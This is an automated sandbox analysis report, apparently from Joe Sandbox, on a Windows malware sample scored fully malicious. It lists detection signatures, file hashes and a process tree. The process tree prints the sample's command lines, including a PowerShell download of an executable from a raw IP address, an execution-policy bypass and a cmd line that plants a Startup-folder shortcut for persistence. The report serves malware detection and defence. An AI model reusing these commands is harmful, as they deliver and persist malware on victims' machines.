Edit tour
Windows
Analysis Report
l5VhEpwzJy.exe
Overview
General Information
Sample name: | l5VhEpwzJy.exerenamed because original name is a hash value |
Original sample name: | 2595fd71dc9e2c7d172921cb43e0f38c67be16097399a185c77763178186c727.exe |
Analysis ID: | 1577202 |
MD5: | ecc3626c90741e76f4a9b213a9c029d8 |
SHA1: | c704541fc27fb03537163e34f446184fe96446e0 |
SHA256: | 2595fd71dc9e2c7d172921cb43e0f38c67be16097399a185c77763178186c727 |
Tags: | 139-99-188-124exeuser-JAMESWT_MHT |
Infos: | |
Detection
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Icon mismatch, binary includes an icon from a different legit application in order to fool users
Multi AV Scanner detection for submitted file
Sigma detected: Drops script at startup location
AI detected suspicious sample
Binary is likely a compiled AutoIt script file
Bypasses PowerShell execution policy
Drops PE files to the user root directory
Drops PE files with a suspicious file extension
Powershell drops PE file
Sigma detected: Execution from Suspicious Folder
Sigma detected: Execution of Powershell Script in Public Folder
Sigma detected: Parent in Public Folder Suspicious Process
Sigma detected: Script Interpreter Execution From Suspicious Folder
Sigma detected: Suspicious Invoke-WebRequest Execution
Sigma detected: WScript or CScript Dropper
Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
AV process strings found (often used to terminate AV products)
Contains functionality for read data from the clipboard
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the user directory
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found evasive API chain (date check)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
Potential key logger detected (key state polling based)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Execution of Suspicious File Type Extension
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: PowerShell Web Download
Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores files to the Windows start menu directory
Tries to resolve domain names, but no domain seems valid (expired dropper behavior)
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Classification
- System is w10x64
- l5VhEpwzJy.exe (PID: 7428 cmdline:
"C:\Users\ user\Deskt op\l5VhEpw zJy.exe" MD5: ECC3626C90741E76F4A9B213A9C029D8) - powershell.exe (PID: 7472 cmdline:
powershell -Command "Invoke-We bRequest - Uri "http: //139.99.1 88.124/TnV DiK" -OutF ile "C:\Us ers\Public \Guard.exe "" MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 7480 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 7756 cmdline:
powershell .exe -Exec utionPolic y Bypass - File "C:\U sers\Publi c\PublicPr ofile.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 7772 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - Guard.exe (PID: 7924 cmdline:
"C:\Users\ Public\Gua rd.exe" C: \Users\Pub lic\Secure .au3 MD5: 18CE19B57F43CE0A5AF149C96AECC685) - cmd.exe (PID: 7952 cmdline:
cmd /k ech o [Interne tShortcut] > "C:\Use rs\user\Ap pData\Roam ing\Micros oft\Window s\Start Me nu\Program s\Startup\ SwiftWrite .url" & ec ho URL="C: \Users\use r\AppData\ Local\Word Genius Tec hnologies\ SwiftWrite .js" >> "C :\Users\us er\AppData \Roaming\M icrosoft\W indows\Sta rt Menu\Pr ograms\Sta rtup\Swift Write.url" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 7960 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
- wscript.exe (PID: 7192 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Loc al\WordGen ius Techno logies\Swi ftWrite.js " MD5: A47CBE969EA935BDD3AB568BB126BC80) - SwiftWrite.pif (PID: 7112 cmdline:
"C:\Users\ user\AppDa ta\Local\W ordGenius Technologi es\SwiftWr ite.pif" " C:\Users\u ser\AppDat a\Local\Wo rdGenius T echnologie s\G" MD5: 18CE19B57F43CE0A5AF149C96AECC685)
- cleanup
⊘No configs have been found
⊘No yara matches
System Summary |
---|
Source: | Author: Florian Roth (Nextron Systems), Tim Shelton: |
Source: | Author: Max Altgelt (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): |
Source: | Author: Nasreddine Bencherchali (Nextron Systems): |
Source: | Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: frack113: |
Source: | Author: Max Altgelt (Nextron Systems): |
Source: | Author: frack113, Nasreddine Bencherchali (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Nasreddine Bencherchali (Nextron Systems): |
Source: | Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: |
Source: | Author: Michael Haag: |
Source: | Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): |
Data Obfuscation |
---|
Source: | Author: Joe Security: |
⊘No Suricata rule has matched
Click to jump to signature section
Show All Signature Results
AV Detection |
---|
Source: | Virustotal: | Perma Link | ||
Source: | ReversingLabs: |
Source: | Integrated Neural Analysis Model: |
Source: | Static PE information: |
Source: | Code function: | 1_2_00007FF6A53EC7C0 | |
Source: | Code function: | 1_2_00007FF6A53FA874 | |
Source: | Code function: | 1_2_00007FF6A53FA4F8 | |
Source: | Code function: | 1_2_00007FF6A53FA350 | |
Source: | Code function: | 1_2_00007FF6A53F6428 | |
Source: | Code function: | 1_2_00007FF6A53B2F50 | |
Source: | Code function: | 1_2_00007FF6A53EB7C0 | |
Source: | Code function: | 1_2_00007FF6A53F72A8 | |
Source: | Code function: | 1_2_00007FF6A53F71F4 | |
Source: | Code function: | 1_2_00007FF6A53EBC70 | |
Source: | Code function: | 7_2_00664005 | |
Source: | Code function: | 7_2_0066494A | |
Source: | Code function: | 7_2_0066C2FF | |
Source: | Code function: | 7_2_0066CD14 | |
Source: | Code function: | 7_2_0066CD9F | |
Source: | Code function: | 7_2_0066F5D8 | |
Source: | Code function: | 7_2_0066F735 | |
Source: | Code function: | 7_2_0066FA36 | |
Source: | Code function: | 7_2_00663CE2 | |
Source: | Code function: | 12_2_000F4005 | |
Source: | Code function: | 12_2_000F494A | |
Source: | Code function: | 12_2_000FC2FF | |
Source: | Code function: | 12_2_000FCD14 | |
Source: | Code function: | 12_2_000FCD9F | |
Source: | Code function: | 12_2_000FF5D8 | |
Source: | Code function: | 12_2_000FF735 | |
Source: | Code function: | 12_2_000FFA36 | |
Source: | Code function: | 12_2_000F3CE2 |
Source: | HTTP traffic detected: |